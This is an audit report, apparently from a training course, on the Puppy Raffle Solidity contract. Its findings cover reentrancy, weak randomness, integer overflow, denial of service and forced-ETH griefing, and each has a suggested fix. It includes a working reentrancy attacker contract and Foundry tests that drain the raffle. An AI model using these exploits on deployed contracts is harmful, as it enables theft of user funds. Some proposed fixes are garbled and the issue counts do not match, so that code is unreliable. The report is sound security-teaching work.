Puppy Raffle Initial Audit Report

Version 0.1

Cyfrin.io

September 12, 2024

Puppy Raffle Audit Report

Adebayo Halir Shola

July 14, 2024

Puppy Raffle Audit Report

Prepared by: Adebayo Halir Shola Lead Auditors:

- Adebayo Halor Shola

Assisting Auditors:

- None

Table of contents

See table

About Halir

A Backend software engineer and smart contrcat security researcher, graduate of Alx software engineering program(backend specializtion) with knowlege of web frameworks like express, flask and react.

Skilled in the use of foundry for smart contract testing and use of static analysis tools like slither with some understanding of the evm pcode and familiarity with auditing methods like the Tincho method

Disclaimer

The Halir team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	4
Low	0
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in function `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (checks, effets, interactions) ad as a result allows participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we update `PuppyRaffle::players` array only after making an external call to the `msg.sender` address.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who enters the raffle could have a `fallback / receive` function that calls the `PuppyRaffle::enterRaffle` again and claim refund continuously until the contact balance is drained;

Impact: All fees payed by entrants could be stolen by the malicious attacker.

Proof of Concept:

1. User enters the raffle
2. Attacker sets us a conttract that calls `PuppyRaffle:refund` function
3. Attacker calls `PuppyRaffle::refund` from their contract, draining the contract balance.

Proof of code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
function testRentrancyInRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        RerentrancyAttacker attackerContract = new RerentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attacker");
        vm.deal(attackUser, 1 ether);
        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();
```

```
16          console.log("starting attacker contract balance: ",
                startingAttackContractBalance);
17          console.log("starting raffle contract balance: ",
                startingContractBalance);
18          uint256 endingContractBalance = address(puppyRaffle).balance;
19          uint256 endingAttackContractBalance = address(attackerContract)
                .balance;
20          console.log("ending attacker contract balance: ",
                endingAttackContractBalance);
21          console.log("ending contract balance: ", endingContractBalance)
                ;
22          vm.assertEq(endingContractBalance, 0);
23      }
24
25  contract RerentrancyAttacker {
26      PuppyRaffle puppyRaffle;
27      uint256 entranceFee;
28      uint256 attackerIndex;
29
30      constructor(PuppyRaffle _puppyRaffle) {
31          puppyRaffle = _puppyRaffle;
32          entranceFee = puppyRaffle.entranceFee();
33      }
34
35      function attack() external payable {
36          address[] memory players = new address[](1);
37          players[0] = address(this);
38          puppyRaffle.enterRaffle{value: entranceFee}(players);
39          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
40          puppyRaffle.refund(attackerIndex);
41      }
42
43      function _stealMoney() internal {
44          if (address(puppyRaffle).balance >= entranceFee) {
45              puppyRaffle.refund(attackerIndex);
46          }
47      }
48
49      receive() external payable {
50          _stealMoney();
51      }
52
53      fallback() external payable {
54          _stealMoney();
55      }
56  }
```

Recomended Mitigation: To prevent this we should have the `players` array updated before external calls. dditionally we should move the event up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

+         players[playerIndex] = address(0);
+         emit RaffleRefunded(playerAddress);
+         payable(msg.sender).sendValue(entranceFee);

-         payable(msg.sender).sendValue(entranceFee);
-         players[playerIndex] = address(0);
-         emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influemce or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestmp` tohether creates a predictable find number. Apredictable number is not a good number. Malicious users can manipulate these values or know them in advance to choose the winner of the raffle themselves.

Note: This aditionally means users could front-run this function and call `refund` if they are not the winner.

Impact: Any user can influence the result of the raffle, winning the money and selecting the `rarest` puppy making the entire raffle worthless as it becomes a gas was as to who wins the raffle.

Proof of Concept: 1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao. 2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner. 3. User can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain value as a well documented attack vector in the blockchain space.

Recomended Mitigation: Consiser using a cryptographically provable random number generator such s Chainlink VRG.

[H-3] Integer overflow of `Puppyraffle::totalFees` loses fees

Description: In solidity versions prior rp `0.8.0` integers were subject to integer overflow.

```
uint64 myVar = type(uint64).max;
//8446744073709551615
myVar += 1;
unchecked{myVAr += 1;}
//myVar now 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 player
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be

```
totalFees = totalFees = uint64(fee);
//800000000000000000 + 17800000000000000000
// and this becomes 16800000000000000000
```

4. You will no be able to witdraw due to the line:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETh to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the prorocol. At some point, contract balance would be too great and the above method would be rendered non-feasible

Code

```
function testTotalFeesOverflow() public playersEntered {

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();

        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        vm.warp(block.timestamp + duration + 1);
```

```
15          vm.roll(block.number + 1);
16          console.log("starting total fees", startingTotalFees);
17          puppyRaffle.selectWinner();
18          uint256 endingTotalFees = puppyRaffle.totalFees();
19          console.log("ending total fees", endingTotalFees);
20          assert(endingTotalFees < startingTotalFees);
21
22          vm.prank(puppyRaffle.feeAddress());
23          vm.expectRevert("PuppyRaffle: There are currently players
               active!");
24          puppyRaffle.withdrawFees();
25
26      }
```

Recomended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle: totalFees`
2. You could use the `safeMath` library of openzeppelin for version 0.7.6 however you would still find it hard with the `uint64` if tooo many fees are collected.
3. Remove the balance check from `puppyRafflewithdrwFees`

```
1 -   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors with the final require, so we recommend removing it regardless.

Medium

[M-1] Checking for duplicates players in `PuppyRaffle::enterRaffle` is a potential denial of service (DOS). Incrementing gas cost for future players.

Description: The `PuppyRaffle::enterRaffle` function loops through the players array is the more checks for new players. This means gas cost increases dramatically lower for early entrants. Every additional entrants is an additional incease in gas cost for the check.

```
1   for (uint256 i = 0; i < players.length - 1; i++) {
2               for (uint256 j = i + 1; j < players.length; j++) {
3                   require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
4               }
5           }
```

Impact: Gas cost will greatly increases users increase discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in the queue. An attacker can make

the `PuppyRaffle::players` array so big they guarantess themselves the win.

Proof of Concept: (Proof of code) If we have 2 sets of 100 player enter, the gas costs will be as such: - Gas used for first 100 players 6252040. - Gas used for second 100 players 18067749. This is more than three times more expensive for the second 100 players. Place the test below into PupyRaffle.t.sol.

POC

```
function testGasIsTooExpensiveToEnterRaffleIfPlayersAreMany() public {
        uint256 count = 100;
        address[] memory players = new address[](count);
        for (uint i = 0; i < count; i++) {
            players[i] = address(i);
        }
        vm.txGasPrice(1);
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * count}(players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirstHundred = gasStart - gasEnd;
        console.log("Gas used for first 100 players",
           gasUsedFirstHundred);
        uint256 temp = count;
        for (uint i = 0; i < count; i++) {
            players[i] = address(temp++);
        }

        gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * count}(players);
        gasEnd = gasleft();
        uint256 gasUsedSecondHundred = gasStart - gasEnd;
         console.log("Gas used for second 100 players",
            gasUsedSecondHundred);
        assert(gasUsedSecondHundred > gasUsedFirstHundred);
    }
```

Recomended Mitigation: There are a few recommendations.

1. Consider alowing duplicates. Users can make new wallet addresses. the check only prevents multiple address but not same user with multiple addresses.
2. Consider using mapping to check for duplicates. This allows for constant time lookup for duplicate checking.

```
+   mapping(address => uint256) public addressToRaffled;
+   uint256 public raffled = 0;
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
            addressToRaffledewPlayers[i] = raffled;
```

```
8           }
9       }
10
11  +       // Check for duplicates
12  +       for (uint256 i = 0; i < players.length - 1; i++) {
13  +           require(addressToRaffledewPlayers[i] != raffled, "
        PuppyRaffle: Duplicate player");
14  +       }
15  -       //Check for duplicates
16  -       for (uint256 i = 0; i < players.length - 1; i++) {
17  -           for (uint256 j = i + 1; j < players.length; j++) {
18  -               require(players[i] != players[j], "PuppyRaffle:
        Duplicate player");
19  -           }
20  -       }
21
22      function selectWinner() external {
23  +       raffleId = raffleId + 1;
24          require(block.timestamp >= raffleStartTime + raffleDuration, "
              PuppyRaffle: Raffle not over");
```

3. Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1       function selectWinner() external {
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
              PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
              );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
              sender, block.timestamp, block.difficulty))) % players.
              length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9   @>      totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

[M-4] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1      function withdrawFees() external {
2  @>      require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and player at index 0 causing a player to think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and may try to enter raffle again wasting gas.

Proof of Concept:

1. user enters the raffle as the first entarnt.
2. Player calls `PuppyRaffle::getActivePlayerIndex`, it return 0.
3. User thinks they have not entered correctly due to the function documentation.

Recomended Mitigation: The easiest recommendation is to revert if a player is not in the array instead of returning 0.

You could also reserve the zeroth index for any competition but a better solution is to return negative 1 when the player is not active.

Gas

[G-1] Unchanges state should be declared constant or immutable

Reading from storage is much more expensive than reding from constants or immutable.

Instances: - `PuppyRaffle::raffleDuration` should be immutable. - `PuppyRaffle::commmonImageUri` should be constant. - `PuppyRaffle::rereImageUri` should be constant. - `PuppyRaffle::legendaryImageUri` should be constant.

[G-2] storage variable in a loop should be cached

Every time you call players.length you read from storage as opposed to memory which is more gas efficient.

```
+       uint256 playerLength = players.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playerLength - 1; i++)
-           for (uint256 j = i + 1; j < players.length; j++)
+           or (uint256 j = i + 1; j < playerLength; j++)
            {

                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`.

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2]: Using outdated solidity version is not recommended

solc frequently releases new compiler versions. Using an outdated version prevents access to new solidity security checks. We also recommend avoiding complex pragma statements.

Recommendation: Deploy with sollowing versions:

`0.8.19`

This takes into account: - Risks related to recent releases. - Risks of complex code generation changes. - Risks of new language features. - Risks of known bugs.

Please see slither documentstion for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 168

```
1         feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectwinner` does not follow CEI. which is not best practice

```
1 -         (bool success,) = winner.call{value: prizePool}("");
2 -         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
3           _safeMint(winner, tokenId);
4 +                 (bool success,) = winner.call{value: prizePool}("");
5 +         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers ere given a name.

Examples:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

[I-6] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

```
| File                                | % Lines        | % Statements
   | % Branches     | % Funcs       |
| ----------------------------------- | -------------- | --------------
   | -------------- | ------------- |
| script/DeployPuppyRaffle.sol        | 0.00% (0/3)    | 0.00% (0/4)
   | 100.00% (0/0)  | 0.00% (0/1)   |
| src/PuppyRaffle.sol                 | 82.46% (47/57) | 83.75% (67/80)
   | 66.67% (20/30) | 77.78% (7/9)  |
| test/auditTests/ProofOfCodes.t.sol  | 100.00% (7/7)  | 100.00% (8/8)
   | 50.00% (1/2)   | 100.00% (2/2) |
| Total                               | 80.60% (54/67) | 81.52% (75/92)
   | 65.62% (21/32) | 75.00% (9/12) |
```

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the `Branches` column.

[I-7] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
```

```
4 -                 return true;
5 -             }
6 -         }
7 -         return false;
8 -     }
```